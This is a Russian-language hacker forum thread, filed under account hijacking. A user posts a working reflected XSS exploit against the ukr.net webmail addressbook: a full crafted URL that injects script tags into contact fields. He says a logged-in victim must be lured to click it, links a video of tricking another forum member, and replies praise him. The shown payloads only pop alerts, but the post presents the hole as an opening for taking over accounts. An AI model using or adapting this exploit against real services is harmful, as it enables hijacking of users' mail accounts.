[Угон] Почта на ukr.net

[Dimi4]

Хакеры! Там нет ничево интересного! просьба не смотреть!
Всем привет. Это мое первое видео :) . Сегодня мною была обнаружена пассивная хсс на сервисе ukr.net - http://freemail.ukr.net

Причина: Отсутствие\плохая фильтрация в скрипте "аddressbook"

Условия: Жертва должна быть залогинена. Жертва должна пройти по специально сформированой ссылке.

Пример:

_ttp://freemail.ukr.net/q/addressbook?mode=edit&id=&LastName="><script>alert(/xek/)</script>&FirstName=%22%3E%3Cscript%3Ealert%28%2Fby+%2F%29%3 C%2Fscript%3E&NickName=%22%3E%3Cscript%3Ealert%28%2Fxek+by+Dimi4 %2F%29%3C%2Fscript%3E&Email=%22%3E%3Cscript%3Ealert%28%2Fxek+by+Dimi4%2F %29%3C%2Fscript%3E&MobilePhone=%22%3E%3Cscript%3Ealert%28%2FDimi4%2F% 29%3C%2Fscript%3E&submit=%C4%EE%E1%E0%E2%E8%F2%FC


Видео:
http://rapidshare.com/files/150250737/ukr.net.rar.html

В роли жертвы - T-Rey
П.С. Пошол отправлять на video.antichat.net :)
П.П.С Слишком долгая ссылка? www.tiny.cc
(c) Dimi4

[Exlibris]

хеккер штоле?

[BlackSun]

Как бе под пассивные ксс на почтовых сервисах есть отдельная ветка .. зачем еще и видео снимать?
http://forum.antichat.ru/lastpostinthread21437.html

[Dimi4]

http://video.antichat.ru/1_0.html

[br3k]

Хаха, T-Rey'a развели : )
Молодец, +.

[UnDRaux]

Dimi4 молодцом! (с) Хэнкок.